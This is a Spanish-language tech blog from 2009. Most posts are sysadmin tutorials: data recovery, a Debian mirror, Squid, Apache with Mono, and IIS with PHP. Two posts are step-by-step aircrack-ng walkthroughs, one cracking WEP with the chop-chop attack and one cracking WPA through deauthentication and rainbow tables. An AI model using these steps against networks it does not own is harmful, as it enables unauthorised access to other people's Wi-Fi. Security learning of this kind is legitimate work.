Tabla comparativa de recuperacion de datos
Publicado en Tabla el Noviembre 2, 2009 por waldoredesComo recuperar información de una tarjeta SD
Publicado en Recuperación el Octubre 11, 2009 por waldoredesEn este post les mostrare un poco como recuperar fotos, musica, videos y cantidad de archivos que hemos perdido en nuestra memoria SD.
Procedemos a descargar el software que nos permite recuperar la información del siguiente enlace
http://www.cgsecurity.org/wiki/TestDisk_Download
Ahora lo ejecutaremos y procedemos hacer el siguinte procedimiento
Selecionaremos el disco de donde queremos recuperar la información y presionamos ENTER

Ahora seleccionaremos el tipo de particion en mi caso seleccionere none y presionamos ENTER

Despues seleccionaremos la opcion File opt y presionamos ENTER

Ahora procedemos a seleccionar los formatos que vamos a recuperar en mi caso solo selecconare jpg y presionamos ENTER

Ahora procedemos a buscar las imagenes presionando ENTER en la opcion Search

Ahora seleccionameros el tipo de sistema de archivo que es nuestro dispositivo en mi caso es NTFS por eso seleccione Other y presionamos ENTER

Ahora nos pregunta donde queremos guardar los archivos recuperados en mi caso en un directorio llamado waldo lo seleccionamos y presionamos la tecla Y

Ahora esperamos a que nos restaure la información

En la imagen anterior nos da informacion de donde quedaron guardadas y cuantas imagenes recupero
Ahora miremos en el directorio las imagenes

Listo nuestra recuperacion fue exitosa
NOTA: Antes de hacer la restauracion borre todas mis imagenes con un formateo rapido esto quiere decir que el software que use es muy bueno y ademas es GPL y multiplataforma
Como crear un repositorio local de Debian desde los DVD´s
Publicado en Mirror Debian el Septiembre 30, 2009 por waldoredesPara mi es vital tener mi repositorio ya que a veces en el SENA no tenemos internet o si lo hay es muy lento la conexion por esto decidi montar mi propio repositorio y asu vez compartirlo para mis compañeros de estudio.
Los requisitos fundamentales es tener los 5 DVS de debian y una particion con espacio libre de 20gb
lo primero que haremos es crear una carpeta, en mi caso la creare en un dico duro aparte
#mkdir repositorios

El siguiente paso es copiar dos carpetas de los DVD´s en la carpeta que creamos anteriormente
#cp -R dists/ /media/mirror/repositorios/
#cp -R pool/ /media/mirror/repositorios/
El proceso anterior lo vamos a hacer con cada DVD, es un poco desmorado tendremos paciencia
Ahora vamos a escanear y comprimir los paquetes main y contrib
Paquetes main
#dpkg-scanpackages pool/main/ /dev/null > dists/lenny/main/binary-i386/Packages
#gzip dists/lenny/main/binary-i386/Packages
Paquetes contrib
#dpkg-scanpackages pool/contrib/ /dev/null > dists/lenny/contrib/binary-i386/Packages
#gzip dists/lenny/contrib/binary-i386/Packages
Despues del proceso anterior pasaremos a instalar un servidor Web en mi caso instalare Apache
#apt-get install apache2

Presionamos la tecla Y para continuar con la instalacion
Cuando nuestro apache acabe de instalar procedemos a hacer un link simbolico apuntando a nuestro al directorio donde publica el apache que por defecto es /var/www/
#ln -s /media/mirror/repositorios /var/www
Ya con los pasos anteriores nuestro servidor esta funcionando como mirror local
Ahora vamoa a decirles a los clientes de que direccion se pueden descargar los paquetes
#nano /etc/apt/sources.list
En el archivo sources.list agregaremos la siguiente linea
deb http://xxx.xxx.x.x/repositorios lenny main contrib
Donde estan las X siginifica la IP de nuestro servidor

Ahora guardamos el archivo modificado y actualizamos nuestros repositorios con el siguinte comando
#apt-get update

Listo ya tenes nuestro repositorio local con mayor velocidad a la hora de descargar nuestros paquetes
Manual de proxy basico en Windows
Publicado en Proxy el Septiembre 28, 2009 por waldoredesLo primero es descargar la ultima version estable de squidNT la pueden descargar de esta direccion http://squid.acmeconsulting.it/download/dl-squid.html
Despues descomprimimos el contenido de la carpeta zip en nuestro disco duro en este caso el disco local C:\
quedaria algo asi

Continuamos accede a la carpeta C: \squid\etc y renombramos los archivos que hay alli squid.conf.default y mime.conf.default deja una copia de los archivos por si te equivocas editando el original

Con el notepad o el editor de texto que tu prefieras abre el archivo squid.conf y busca las siguientes lineas y realiza las modificaciones siguientes.
#cache_dir ufs C: \squid\var\cache 100 16 256
Elimina el simbolo de numero de esta linea (#) y ponle la direccion donde se ubicara la cache de squid
El numero que sale por defecto es (100) es el espacio en mega bytes que se destinara para la cache, según el espacio que quieras asignar y el disponible en el disco duro puedes poner desde 10MB hasta 10Gb o mas, para este ejemplo asignaremos 1 GB
cache_dir ufs C: \squid\var\cache 1000 16 256
Busca el siguiente grupo de lineas
unregistered ports
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl CONNECT method acl all src 0.0.0.0/0.0.0.0
acl manager proto cache_object
acl localhost src 127.0.0.1/255.255.255.255
acl to_localhost dst 127.0.0.0/8
acl SSL_ports port 443 563
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 563 # https, snews
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 1025-65535 #CONNECT
Cada una de estas líneas son variables con las que trabajara tu proxy, aquí podrás agregar quien (accede PC o usuario) o que accede a internet o no permitir descargar algunos formatos de archivos (exe, mov, mp3)
De momento bastara con agregar las siguientes líneas
acl net src 192.168.101.0/255.255.255.0
Donde 192.168.101.0 representa el segmento de red en que está configurada 255.255.255.0 representa la máscara de tu red
Busca la siguiente línea
http_access allow manager localhost
Y después de esta agregamos la siguiente línea
http_access allow net
Donde 192.168.101.0 representa el segmento de red en que está configurada 255.255.255.0 representa la máscara de tu red
Donde net representa a tu red, esta regla está dando permisos a tu red de usar el proxy
Si queremos filtrar determinadas palabras hacemos lo siguiente
Crearemos un archivo de texto con las palabras que queremos que nos filtre el proxy y lo guardamos en la siguiente ruta C:\squid\etc\denegado.txt

Después agregamos una regla después de la siguiente línea ósea que nos vamos a devolver
acl net src 192.168.101.0/255.255.255.0
Le agregamos esta línea
acl palabras url_regex “C:/squid/etc/denegado.txt”

En la imagen anterior vemos como queda la regla
Buscamos la siguiente línea y la modificaremos
http_access allow net
Y le agregas !palabras
Asi quedaría
http_access allow net !palabras
Al final del archivo agregamos esta línea
Visible_hostname server
Busca la siguiente línea y las quitas el símbolo #
http_port 3128
Busca la siguiente línea quítale el símbolo # y cambia la palabra off por on esto hablita la aceleración de navegación
httpd_accel_with_proxy of
Quedaria de la siguiente forma
httpd_accel_with_proxy on
Ahora agregaremos el DNS entonces para hacer esto buscamos estas líneas
# Example: dns_nameservers 10.0.0.1 192.172.0.4
#
#Default:
# none
Y agregamos esta línea
dns_nameservers 192.168.101.1
Con esto acabamos de configurar los parámetros básicos de squid ahora falta ponerlo a funcionar
Por medio de consola o de inicio ejecutar ponemos el siguiente comando
C:\squid\sbin\squid –z
Si no marca ningún error significa que hicimos todo bien
Después ejecutamos este comando
C:\squid\sbin\squid –i
Esto comando instala el servicio proxy en la lista de servicios de Windows server 2003
Ahora reinicias l servicio de squid, esto lo podernos hacer de dos formas, reiniciando tu PC o ir al panel de control, herramientas administrativas , servicios allí busca uno que se llama squidNT y le das reiniciar
Ahora ya tenemos nuestro proxy corriendo
Servidor apache con soporte para ASP.NET
Publicado en Apache con ASP.NET el Septiembre 27, 2009 por waldoredesEn este post veremos como configurara el apache para que soporte el lenguaje de programacion ASP.NET
Primero vamos a instalar el apache con el siguinte comando
#apt-get install apache2
Presionaremos la tecla Y para acerptar la instalcion de los paquetes
Ahora instalaremos el modulo de mono para apache
# apt-get install libapache2-mod-mono mono-apache-server
En la imagen anterior nos esta diciendo que si queremos continuar con la instalacion entonces presionaremos la tecla Y
Ahora vamos a desactivar el mod_mono
# a2dismod mod_mono
Ahora activaremos el mod_mono_auto
# a2enmod mod_mono_auto
Esto nos pide que reniniciemos el apache para que cargue la nueva configuracion
# /etc/init.d/apache2 restart
Ahora vamos a mirar si a apache a cargado el modulo mono
En el navegador web de nuestra propia maquina colocaremos “http://localhost/sadasdasd” y nos deberia aparecer algo como esto

Ahora solo falta descargarnos un Web Services en apsx
En el siguinte link nos dan mas informacion sobre Web Services tambien nos enseñan a crear un Web Service pero si no quieres crearlo lo puedes descargar ya listo que no se si no descomprimirlo en el directorio /var/www
http://www.antoniomtz.org/2009/05/crear-un-web-service-en-monodevelop/
Web Service ya creado Descargar
Si todo a salido bien tendremos que ver algo como esto

Quiero reiterar que el proyecto de Web Service que utilice para hacer la demostracion no fue creado por mi
Fuente: http://krypto84sv.blogspot.com/2008/01/configurar-servidor-sencillo-asp-net-en.html
Instalación de IIS con soporte para PHP
Publicado en IIS con PHP el Septiembre 24, 2009 por waldoredesRequisitos para la instalacion
Cd de Windows Server
Paquete de instalacion de PHP 5.2.11 zip package Descargar
Ya despues de descargar este paquete procedemos a la instalacion de IIS
En panel de control elegir la opcion de “Agregar o quitar programas”

En esta ventana selecionaremos “Agregar o quitar componentes de windows”

Ahora nos aparece la siguiente ventana y seleccionaremos “Servidor de Aplicaciones” y despues le damos en “Detalles”

En la siguinte ventana chuleamos el subcomponente Instalar Internet Information Services (IIS) y le damos aceptar para iniciar la instalacion


Como podemos ver el proceso de instalacion ha terminado satisfactoriamente y le damos clic en Finalizar para cerrar la ventana

Ahora vamos a probar que nuestro IIS este funcionando correctamente
Abrimos un navegador e ingresamos la siguinte direccion http://localhost/

Como podemos ver en la imagen anterior nuestro IIS esta funcionando correctamente.
Ahora procedemos a instalarle el modulo de PHP
Crearemos una carpeta en la particion C: llamada PHP y en esa carpeta descomprimos el paquete que decargarmos anteriormente.
Despues vamos a cambiarle el nombre a el siguinte archivo que se llama php.ini-recommended le quitamos -recommended entonces quedaria asi php.ini
Ahora vamos a agregarle una libreria al IIS con los siguientes pasos
Le damos clic en “Herramientas administrativas” despues en “Administrador Internet Information Services (IIS)”

Despues le damos clic Sitios Web y le damos clic derecho sobre el Sitio Web Predeterminado y le damos clic en propiedades

Y nos aparece la siguinete ventana donde agregaremos la libreria php5isapi.dll que se encuentra el carpeta que creamos anteriormente.
Para esto vamos a dar clic sobre Filtros ISAPI despues le damos clic en “agregar2 y despues en “examinar” y selecionaremos donde encuentra nuestra libreria en mi caso en C:\PHP y el nombre del filtro colocaremos php

Luego pasamos a la siguinte pestaña que se llama Directorio particular y presionamos sobre la opcion Configuracion

Despues agregaremos la misma libreria del paso anterior de la siguinte forma

Despues nos aparece la siguinte ventana

Donde dice extension colocaremos .php y le damos examinar para ubicar la libreria php5isapi.dll en mi caso se encuentra en C:\PHP y despues le damos clic en aceptar a todas la ventanas abiertas anteriormente.
Despues le daremos permisos para que IIS puede ejecutar esa libreria desconocida de la siguiente forma
Le daremos clic en “Agregar una nueva extension de servicio web”

Ahora agregaremos otra vez la libreria php5isapi.dll de la siguinte forma.

Ahora vamos a darle clic sobre permitir para poder que se ejecute la libreria

Ahora reniciamos el IIS de la siguinte forma
Le daremos clic sobre el icono stop

Ahora le damos clic sobre el icono play

Ahora comprobaremos nuestro IIS con PHP de la siguiente forma
Creamos un archivo y le agregamos esto <?phpinfo();?> lo guardamos con extension php
Ejemplo index.php
Y lo guardamos en la siguiente direccion C:\Inetpub\wwwroot que es el directorio de IIS por defecto
Vamos a iniciar nuestro navegador y escribimos http://localhost/index.php si todo ha salido bien son saldra algo como esto.

Ahora lograremos que nuestra pagina pueda hacer las 4 opereraciones basicas que son sumar, restar, multiplicar, dividr en php.
Lo primero es borrar el archivo anterior creado y despues vamos a crear otro con el siguiente contenido.
<html>
<head>
</head>
<body>
<form name=”form1″ method=”post” action=”Radio.php”>
Ingrese primer valor:
<input type=”text” name=”text1″>
<br>
Ingrese segundo valor:
<input type=”text” name=”text2″>
<br>
<input type=”radio” name=”radio1″ value=”sumar”>
Sumar
<br>
<input type=”radio” name=”radio1″ value=”restar”>
Restar
<br>
<input type=”radio” name=”radio1″ value=”multiplicar”>
Multiplicar
<br>
<input type=”radio” name=”radio1″ value=”dividir”>
Dividir
<br>
<input type=”submit” name=”boton1″ value=”operar”>
</form>
</body>
</html>
Y lo guardamos con el nombre index.htm
Ahora crearemos otro archivo con el siguiente contenido.
<html>
<head>
</head>
<body>
<?php
if ($_REQUEST['radio1']==”sumar”)
$resultado=$_REQUEST['text1']+$_REQUEST['text2'];
if ($_REQUEST['radio1']==”restar”)
$resultado=$_REQUEST['text1']-$_REQUEST['text2'];
if ($_REQUEST['radio1']==”multiplicar”)
$resultado=$_REQUEST['text1']*$_REQUEST['text2'];
if ($_REQUEST['radio1']==”dividir”)
$resultado=$_REQUEST['text1']/$_REQUEST['text2'];
echo “El resultado es: $resultado”;
?>
</body>
</html>
Y lo guardaremos con el nombre radio.php
Ambos archivos deben estar en el directorio del IIS que por defecto es C:\Inetpub\wwwroot
Si todo nos ha salido nos debe aparecer esto.

Nota : No soy programador por esto me toco buscar el codigo fuente para sumar, restar, multiplicar, dividir y este es el link de donde los saque:
http://www.tutorialesfacil.com.ar/php/Controles.htm
Si hay errores por favor hacer el comentario y si te sirvio dar las gracias
Ataque Chop-Chop a WEP
Publicado en WEP el Septiembre 23, 2009 por waldoredesEn este post les enseñare como romper un cifrado WEP
primero que todo miraremos como se llama nuestra interfaz de red inalambrica con el siguinte comando
#iwconfig

Como podemos ver en la imagen anterior mi dispositvo se llama wlan0
lo siguiente que haremos es poner muestro dispostivo en modo promiscuo (modo monitor)
#airmon-ng stop wlan0

#airmon-ng start wlan0

Ahora localizamos el AP
#airodump-ng wlan0

Como podemos ver en la imagen anterior tenemos un AP con ESSID JONATHAN y usa el protocolo WEP
#airodump-ng c 1 -w prueba -i wlan0

El siguiente paso es asociarnos contra el AP victima con el siguinte comando
#aireplay-ng -1 0 -e JONATHAN -a 00:0A:56:9A:18:FB -h 00:E0:4C:04:03:47 wlan0

Ahora vamos a usar el ataque Chop-Chop
#aireplay-ng -4 -h 00:E0:4C:04:03:47 -b 00:0A:56:9A:18:FB wlan0

Despues presionamos la tecla “y”

Ahora creamos una petición de paquete arp usando el archivo .xor:
#packetforge-ng -0 -a 00:0A:56:9A:18:FB -h 00:E0:4C:04:03:47 -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-0914-174512.xor -w arp-request

Ahora enviaremos el paquete ARP creado anteriormente
#aireplay-ng -2 -h 00:E0:4C:04:03:47 -r arp-request wlan0

En la siguiente imagen podemos ver en la columna #Data Ya tenenemos los paquetes necesarios para poder lograr descifrar la contraseña

Ahora vamos a descifrar la contraseña con el siguiente comando
aircrack-ng -n 64 -z -f 1 -e JONATHAN -b 00:0A:56:9A:18:FB prueba-02*.ivs

Como podemos ver en la imagen anterrior tenemos la contraseña en tipo ASCII y la contraseña es WALDO
Este tipo de ataque es muy usado ya que el intruso no tiene que esperar a que un cliente esta autenticado en el AP.
Como Crackear una WPA con Rainbows Tables
Publicado en WPA el Septiembre 17, 2009 por waldoredesBueno el primer procesdimiento es mirar como se llama nuestra tarjeta de red inalambrica con el siguiente comando
#iwconfig

En la imagen anterior podemos ver el nombre de mi tarjeta de red inlambrica es wlan0
ahora lo pondremos la tarjeta en modo monitor con los siguintes dos comandos
#airmon-ng stop wlan0
#airmon-ng start wlan0

Debe aparecer algo similar como en la imagen anterior
ahora vamos a escanear las redes que estan a nuestro alcance
#airodum-ng wlan0

En la imagen anterior podemos ver que a nuestro alcance hay un red wireles que tiene un tipo de encriptacion WPA-TKIP vamos anotar la MAC (BSSID) el nombre (ESSID) y el canal (CH)
Ahora usaremos airodum-ng para capturar el handshake
#airodump-ng –c 1 –bssid 00:A0:56:9A:18:FB –w prueba wlan0

Como vemos en la imagen anterior vemos que en el AP hay un cliente asociado entonces vamos hacerle una desautenticacion al cliente que tiene conectado para nosotros poder capturar el handshake
#aireplay-ng -0 1 -a 00:0A:56:9A:18:FB -c 00:17:C4:32:A4:8D wlan0


En la parte superior de la imagen vemos que obtuvimos el handshake
Ahora procedemos a crackear la contraseña con el siguiente comando
#cowpatty -d /media/wpa_psk-h1kari_renderman/wpa_tables/xah-0/Thomson -r prueba-01.cap -s Thomson

En la imagen anterior podemos ver la velocidad de crackeo de una red con WPA y la password es JONATHAN
NOTA:
Para poder crackear la contraseña el SSID debe de ser el mismo de las Rainbows Tables me explico si el SSID es por ejemplo thomson y en las Rainbows Tables es Thomson no puede descifrar la contraseña.
En el siguinte link pueden descargar las Rainbows Tables y encontrar mas información
http://hak5.org/forums/index.php?showtopic=12708%3Cbr%3E
Como prevenirnos del correo SPAM
Publicado en Correo SPAM el Septiembre 13, 2009 por waldoredesAlguna vez te has encontrado con un mensaje como este
![]()
Hoy en dia hay muchos sitios web que para poder descargar un archivo “X” tenemos que estar registrado, yo me encuentro constantemente con este tipos de sitios y no estoy acostrumbrado a dar mi cuenta de correo principal a cuanto siotio lo pida, para este tipo de problemas hay una solucion muy buena que es crear una cuenta temporal.
Por ejemplo sitios como Mytrashmail, Mailinator y muchos mas que prestan el mismo servicio.
¿Como funcionan estos servicios?
Ingresamos cualquier correo por ejemplo juse@mailinator2.com con que ingresemos esto ya tenemos nuestro buzon creado ahora vamos donde nos piden que nos registremos e ingresamos la cuenta de correo en el formulario

Ya con esto todo el SPAM sera enviado a juse@mailinator2.com y no sera enviado a nuestro correo principal. 

